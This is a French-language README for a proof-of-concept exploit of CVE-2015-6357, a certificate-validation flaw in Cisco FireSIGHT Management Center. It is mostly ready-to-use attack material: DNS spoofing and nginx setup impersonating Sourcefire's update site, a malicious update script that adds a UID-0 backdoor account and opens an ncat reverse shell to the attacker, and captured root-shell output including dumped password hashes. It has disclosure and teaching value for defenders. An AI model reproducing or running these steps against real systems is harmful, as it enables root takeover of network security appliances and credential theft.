mattimustang/firepwnerExploit pour CVE-2015-6357 Cisco FireSIGHT Management Center - Vulnérabilité de validation de certificat
À elle seule, la vulnérabilité de validation de certificat du Cisco FireSIGHT Management Center est une vulnérabilité de sévérité moyenne avec un CVSS de 5.1. Cependant, cette vulnérabilité est un exemple de l'importance de la validation des certificats SSL. Dans cet exploit, je vais démontrer comment la vulnérabilité peut être exploitée pour obtenir une exécution de commande à distance privilégiée sur un système Cisco FireSIGHT. L'exploit enchaîne la vulnérabilité de validation SSL avec le processus de mise à jour logicielle sur le système Cisco FireSIGHT pour tromper le système cible afin qu'il télécharge une mise à jour malveillante et l'exécute pour obtenir un shell inverse avec les privilèges root.
L'appliance Cisco FireSIGHT Management Center est utilisée pour gérer les systèmes de prévention d'intrusion (IPS) Cisco FirePOWER, également connus sous le nom de Sourcefire IPS. FireSIGHT est responsable du téléchargement des signatures IPS mises à jour et de leur installation sur les périphériques IPS gérés.
Le FireSIGHT Management Center permet à un administrateur de lancer manuellement une mise à jour des règles IPS ou de planifier les mises à jour pour qu'elles se produisent quotidiennement/hebdomadairement/mensuellement.
Lorsque le FireSIGHT Management Center effectue une mise à jour, il utilise la commande UNIX curl pour effectuer le téléchargement depuis Sourcefire Support. L'invocation de la commande curl reçoit l'option -k (alias --insecure) qui indique à curl de ne pas valider les certificats SSL présentés par le serveur.
Voici la sortie de ps du serveur téléchargeant une mise à jour :
admin@FIRESIGHT01:/var/sf$ ps -auxwww | grep curl
root 8351 0.0 0.0 37396 2708 ? S 02:02 0:00 /usr/local/bin/curl -k -o /var/sf/updates/Sourcefire_Geodb_Update-2015-08-17-002.sh https://support.sourcefire.com/auto-update/auto-dl.cgi/XX:XX:XX:XX:XX:XX:XX/Download/files/Sourcefire_Geodb_Update-2015-08-17-002.sh
Les mises à jour FireSIGHT se présentent sous la forme d'un script shell généré par makeself qui contient à la fois des commandes shell UNIX Bourne et les données binaires à livrer dans la mise à jour. Ces scripts shell de mise à jour sont exécutés directement sur le serveur FireSIGHT en tant qu'utilisateur local www.
Un attaquant capable d'effectuer une attaque de l'homme du milieu contre un serveur FireSIGHT peut le forcer à se connecter à une version usurpée du site Web Sourcefire Support et à télécharger un script de mise à jour malveillant qui exécutera toute commande souhaitée par l'attaquant sur le serveur FireSIGHT.
La vulnérabilité de validation SSL permet à cela de se produire, ce qui fait que le système ignore joyeusement le certificat SSL usurpé de l'attaquant, télécharge la mise à jour malveillante et l'exécute.
Si la commande curl devait valider le certificat SSL, elle échouerait à télécharger le script malveillant et protégerait le serveur FireSIGHT de l'attaquant.
Cet exploit démontre le danger de ne pas valider le certificat SSL en exploitant la vulnérabilité pour obtenir une exécution de commande à distance en tant qu'utilisateur root.
Le scénario d'attaque est celui où un attaquant a acquis la capacité de faire de l'homme du milieu sur le trafic entre le serveur FireSIGHT et le site Web https://support.sourcefire.com. La façon la plus simple de démontrer cela est de mettre en place un serveur DNS « compromis » qui répond aux requêtes pour le domaine support.sourcefire.com avec l'adresse IP d'un serveur Web que l'attaquant contrôle.
Dans un scénario d'attaque réel, l'attaquant peut utiliser un certain nombre de techniques d'homme du milieu pour parvenir aux mêmes fins. Telles que :
Cet exploit a été testé contre les versions d'appliance virtuelle FireSIGHT suivantes :
Dans la preuve de concept ci-dessous, le serveur FireSIGHT s'est vu attribuer l'adresse IP 192.168.1.99.
L'hôte attaquant exécutait Kali Linux 2.0, bien que la configuration ci-dessous devrait fonctionner sur n'importe quel serveur basé sur Debian Linux. L'adresse IP de l'hôte Kali dans l'exemple ci-dessous est 192.168.1.1. L'hôte Kali est utilisé pour exécuter le serveur DNS ainsi que le site Web Sourcefire Support usurpé.
L'exploit nécessite la capacité d'usurper la réponse DNS pour support.sourcefire.com. Un serveur dnsmasq est exécuté pour fournir cette capacité et agir comme serveur DNS « compromis ».
Installer dnsmasq :
root@kali# apt-get install dnsmasq
Configurer dnsmasq :
root@kali# cat << EOF > /etc/dnsmasq.d/firepnwer.conf
address=/support.sourcefire.com/192.168.1.1
server=8.8.8.8
EOF
Modifiez l'adresse IP dans la ligne address pour qu'elle soit l'adresse du serveur Web à partir duquel vous servirez les mises à jour.
Démarrer dnsmasq :
root@kali# service dnsmasq start
Un serveur Web est nécessaire pour servir l'exploit au serveur FireSIGHT lorsqu'il demande une mise à jour.
Installer le serveur Web nginx :
root@kali# apt-get install nginx
Créer un certificat auto-signé pour usurper support.sourcefire.com :
root@kali# mkdir /etc/nginx/ssl
root@kali# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key \
-out /etc/nginx/ssl/nginx.crt
Country Name (2 letter code) [AU]:AU
State or Province Name (full name) [Some-State]:New South Wales
Locality Name (eg, city) []:Newcastle
Organization Name (eg, company) [Internet Widgits Pty Ltd]:FirePWNER Exploit.
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:support.sourcefire.com
Email Address []:
Configurer nginx en remplaçant le contenu de /etc/nginx/sites-available/default par :
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name support.sourcefire.com;
ssl_certificate /etc/nginx/ssl/nginx.crt;
ssl_certificate_key /etc/nginx/ssl/nginx.key;
location / {
try_files $uri $uri/ =404;
}
# rewrite requests that contain the clients license key
location ~* /auto-update/auto-dl.cgi/[A-F0-9][A-F0-9]:.* {
rewrite ^(/auto-update/auto-dl.cgi)/[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]/(.*)$ $1/$2;
}
location /auto-update {
root /var/www/html/firepwner;
}
}
Démarrer nginx :
root@kali# service nginx start
L'exploit FirePWNER nécessite que deux fichiers soient servis à partir du serveur Web. Le premier fichier est le manifeste de mise à jour qui est un fichier XML contenant une liste des mises à jour disponibles, leur emplacement de téléchargement et les hachages MD5.
Vous devez d'abord créer quelques répertoires :
root@kali# mkdir \
/var/www/html/firepwner/auto-update/auto-dl.cgi/{Download/files,GetCurrent}
Copiez ensuite les fichiers d'exploit dans ceux-ci :
root@kali# cp sf.xml /var/www/html/firepwner/auto-update/auto-dl.cgi/GetCurrent/sf.xml
root@kali# cp firepwner.sh \
/var/www/html/firepwner/auto-update/auto-dl.cgi/Download/files/firepwner.sh
Après avoir copié ces fichiers, vous devriez pouvoir naviguer vers http://192.168.1.1/auto-update/auto-dl.cgi/GetCurrent/sf.xml
Ensuite, à des fins de démonstration de l'exploit, le serveur FireSIGHT doit être configuré pour utiliser le serveur DNS « compromis ». Connectez-vous au portail Web FireSIGHT et allez dans System > Local > Configure > Management Interfaces et définissez le serveur DNS principal sur l'adresse IP du serveur DNS « compromis » (192.168.1.1) et enregistrez la modification.
L'exploit utilise la commande ncat installée par défaut sur le serveur FireSIGHT pour créer un shell inverse vers l'hôte Kali. Sur l'hôte Kali, vous devez écouter la connexion du shell inverse provenant du serveur FireSIGHT :
root@kali# ncat -v -l 4444
Ensuite, sur le portail Web FireSIGHT, naviguez vers System > Updates > Rule Updates et sélectionnez Download new rule update from the Support Site puis cliquez sur le bouton Import. Le serveur téléchargera alors le manifeste de mise à jour sf.xml depuis le serveur de l'attaquant, verra qu'une mise à jour est disponible, téléchargera la mise à jour et l'exécutera en tant qu'utilisateur www. Le script de mise à jour/exploit ci-dessous tire parti du fait que l'utilisateur www dispose de plusieurs commandes sudo qu'il peut exécuter, y compris useradd. L'exploit crée un nouvel utilisateur toor avec un mot de passe vide, puis utilise su pour élever les privilèges et démarrer une connexion shell inverse vers le serveur de l'attaquant.
#!/bin/sh
# add a new UID 0 "toor" user with an empty password
sudo useradd -o -p '$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.' -g root -c toor -u 0 -s /bin/sh \
-d /root toor
# su to toor and start the reverse shell
echo | su - toor -c "/usr/local/sf/nmap/bin/ncat -e /bin/sh support.sourcefire.com 4444"
exit 0
Le script d'exploit peut être modifié pour exécuter d'autres commandes souhaitées. Si le script est modifié, la valeur de la balise XML <md5sum> dans sf.xml doit être mise à jour avec le nouveau hachage MD5 du script d'exploit.
Voici un exemple de la sortie que vous devriez voir sur l'hôte Kali lorsque l'exploit réussit et qu'un shell distant sur le serveur FireSIGHT est ouvert et que les commandes id et cat /etc/passwd sont exécutées :
root@kali# ncat -v -l 4444
Ncat: Version 6.49BETA4 ( http://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.1.99.
Ncat: Connection from 192.168.1.99:41637.
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/shadow
root:x:11869:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
mysql:*:9797:0:::::
nobody:*:9797:0:::::
sshd:*:9797:0:::::
www:*:9797:0:::::
sfsnort:*:9797:0:::::
sfremediation:*:9797:0:::::
sfrna:*:9797:0:::::
snorty:*:9797:0:::::
admin:$6$GCOeXpyR$Qhq6Eq5aSW8n.15RajwYrHVLud8NaN4aKEkVXC43I5m/X.ux/bgIHAplYifOaxTIxaIThqOBGmZgO5aey5tjE/:11869:0:::::
toor:$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.:16679:0:99999:7:::
Les fichiers utilisés dans cet exploit peuvent être obtenus depuis github.